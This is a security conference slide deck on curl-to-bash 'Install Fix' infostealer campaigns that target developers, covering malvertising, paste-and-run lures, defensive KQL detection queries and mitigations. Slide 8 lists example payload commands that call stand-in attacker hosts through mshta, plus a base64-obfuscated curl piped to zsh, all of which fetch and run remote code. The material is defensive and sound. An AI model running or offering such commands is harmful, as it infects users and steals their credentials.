1 of 14

Install-Fix�Curl-to-Bash Infostealers

“Everything Published, Talked and/or discussed in this conference is solely based on my personal point �of View, and Does not represent my current, or past employers.” 

2 of 14

Next 40 Mins !

  • Introduction Install Fix
  • Malvertising
  • Paste and Run Technique
  • Demo
  • Hosting services: abuse
  • Payload: Poison in the code
  • Windows/Mac OS: “Paste and Run” Malware with KQL
  • Mitigation

​

​

​

3 of 14

Introduction Install Fix

  • CMD attack surface increased massively due to AI usage.
  • Attackers are hunting technical users installing the Claude Code AI assistant
  • Modern Habit of installation: curl to bash or pipping methods
  • Single script fetching remote URL , pipe it directly to an execution shell
  • Developers Likes: Bypass of multi step process, No manual download packages, Verify hash, Change permission. Run an installer packages. One line code and software in production

​

Every Link works, The only difference is the installation Command

4 of 14

Malvertising

  • Malvertising is a combination of the term ‘malware and advertise’
  • Attackers purchase ad space on legitimate platforms or infiltrate ad networks to push poisoned links
  • where usually traffic is more.
  • Difficult to detect by both internet users and publishers.
  • Infection can happen by clicking an ad or even just by visiting a page where malicious ad scripts load.

​

5 of 14

Initial Attack Vector

​

​

​

Search Engine

-----------------

Google,

Yahoo

​

Social Media

-----------------

Meta – FB/Insta/X

Display Ads

-----------------

Ecommerce site�careers sites

Exploiting Truest In Major Platforms

----------------------------------

People trust major social media channels and search engines, so they assume that the ads those platforms serve are safe

Exploiting Truest In Established Brands

----------------------------------

People see hundreds of ads every day, so they do not suspect an attack when they see an ad from a trusted brand

Exploiting Lack of Security Awareness

----------------------------------

People rarely pause to investigate an ad - for example, double checking the domain and URL- before clicking on it

Brands, ad words, and reputable search engines in the hands of threat actors

6 of 14

Paste and Run Technique

  • LummaC2 Stealer is popular M-a-a-S which is delivered by multiple campaign from recent months.
  • Interesting Delivery is “Paster and Run” technique ,Adversary tricks user to Copying and pasting malicious PowerShell /Scripts and Run them on Windows or Terminal on macOS often framed as a "verification or fix" step. 
  • Researchers observed varies methods and categorized as click Fix, file Fix, Terminal Fix, Consent Fix,�and our topic Install Fix.
  • Infostealers remain persistent threat trend, as they convert endpoint access into marketable identity artifacts �e.g, credentials, session cookies, OAuth tokens, browser-stored data

​

​

Methods Used by Adversary :

  • Phishing lures
  • Document Error - run the script for fix Doc error
  • Compromised website - browser Injects pop-up - fake captcha
  • Page Loading Error - run the script for fix Page error
  • Legitimate Site but Pixel to Pixel look a like sub-domain �generation with malicious single command.

7 of 14

Hosting services: abuse

  • Legitimate domins used to generate fake sub domain Pixel to Pixel look a like domain generation with malicious single command
  • abuse of legitimate domains for hosting malicious content allows attackers to blend normal web traffic and reduce of the detection evasion technique.
  • Living Off Trusted Sites (LOTS) Project - Attackers are using popular legitimate domains when conducting phishing, C&C, exfiltration and downloading tools to evade detection.

​

8 of 14

Payload: Poison in the code

C: \Windows\SysWOW64\mshta.exe https://attacker.site/claude

Windows

Mac OS

curl -kfsSL $(echo 'aHR0cDovL2VsZnJvZG...==' | base64 -D) | zsh

mshta https://attacker.site/jetbrains.msixbundle

Base64-encoded instructions hidden in the string, downloading payloads from attacker domains.

Commands abusing the legitimate

'mshta.exe' utility to retrieve the payload.

9 of 14

Windows “Paste and Run” Malware with KQL

DeviceEvents�| where ((ActionType == "GetClipboardData”) and (InitiatingProcessFileName has "powershell.exe") or InitiatingProcessCommandLine has "powershell" and InitiatingProcessCommandLine has "-enc"))�| project TimeGenerated, DeviceName, ProcessCommandLine, AccountName, ActionType, InitiatingProcessFileName, FileName

​

DeviceProcessEvents

| where FileName in~ ("mshta.exe", "powershell.exe")

| where ProcessCommandLine matches regex @"(IEX|DownloadString|Net\.WebClient|Execute|vbscript)"�| project TimeGenerated, DeviceName, ProcessCommandLine, AccountName, ActionType, FileName, InitiatingProcessFileName

1) Shows automatic copy script execution in PowerShell prompt

2) Attackers abuse mshta.exe and powershell.exe because they are trusted Windows binaries.

We detect them by looking for suspicious command-line arguments.

10 of 14

Mac OS “Paste and Run” Malware with KQL

DeviceProcessEvents

| where FileName in~ ("bash", "zsh")

| where (ProcessCommandLine contains "base64" and ProcessCommandLine contains "-d"

| where ProcessCommandLine contains "|”)�| project TimeGenerated, DeviceName, ProcessCommandLine, AccountName, ActionType, FileName, InitiatingProcessFileName

1) Attackers use base64 to hide their commands from simple text filters.

The "Paste-and-Run" attack relies on piping (|) that decoded output directly into the shell.

11 of 14

Mitigations

  • Avoid clicking sponsored search results when downloading developer tools and instead access installation instructions directly from official vendor documentation.
  • Verify URLs and installation commands before executing them in a terminal, especially when commands use patterns like curl | bash that download and run remote scripts.
  • Implement DNS filtering, secure web gateways, or domain reputation controls to block access to newly registered or suspicious domains used in malvertising campaigns.
  • Deploy endpoint detection and response (EDR) tools to monitor command-line activity, script execution, and suspicious process chains associated with staged malware infections.
  • Enforce allow-listing for trusted repositories and consider hosting internal mirrors of commonly used developer tools to ensure installations come from verified sources.
  • Regularly test incident response plans and use attack simulation tools around software supply chain exploitation scenarios.

​

“Trust the domain” is no longer enough.

Verify the commands.

12 of 14

References:

​

​

13 of 14

…Any questions or Feedback….

“Every time we build a better evasion method; we’re also building a better detector - if we pay attention.” � - Unknown Red Teamer

14 of 14

Whoami$

Sunil Kumar BV

Sr Security Analyst